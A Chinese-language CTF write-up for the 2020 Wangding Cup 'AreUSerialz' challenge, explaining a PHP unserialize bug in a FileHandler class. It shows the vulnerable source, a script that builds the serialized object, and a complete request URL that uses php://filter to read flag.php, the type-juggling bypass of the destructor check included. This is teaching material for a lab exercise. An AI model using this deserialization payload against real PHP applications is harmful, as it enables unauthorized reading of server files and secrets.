[網鼎杯 2020 青龍組]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

get str引數傳入is_valid函式進行判斷ASCII是否在32和125中間之后進行反序列化
反序列化時呼叫destruct函式

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
}

op進行強型別比較===2，content為空進入process函式

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

這里op進行的都是弱型別比較，如果op1傳入write函式，op2傳入read函式否則輸出bad hacker

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

read函式中file函式是可控的，file_get_contents讀取檔案使用偽協議，output函式輸出

   private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

注意的是 o p , op, op,filename,$content三個變數權限都是protected，而protected權限的變數在序列化的時會有%00*%00字符，%00字符的ASCII碼為0無法過is_valid函式
payload

<?php
 
class FileHandler {
 
    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
 
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
    }
 
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
    }
 
}
$a=new FileHandler();
$b=serialize($a);
echo $b;
?>

http://8615ecdf-4eb8-45e8-b929-0ee02ef211ae.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

base64解碼得flag

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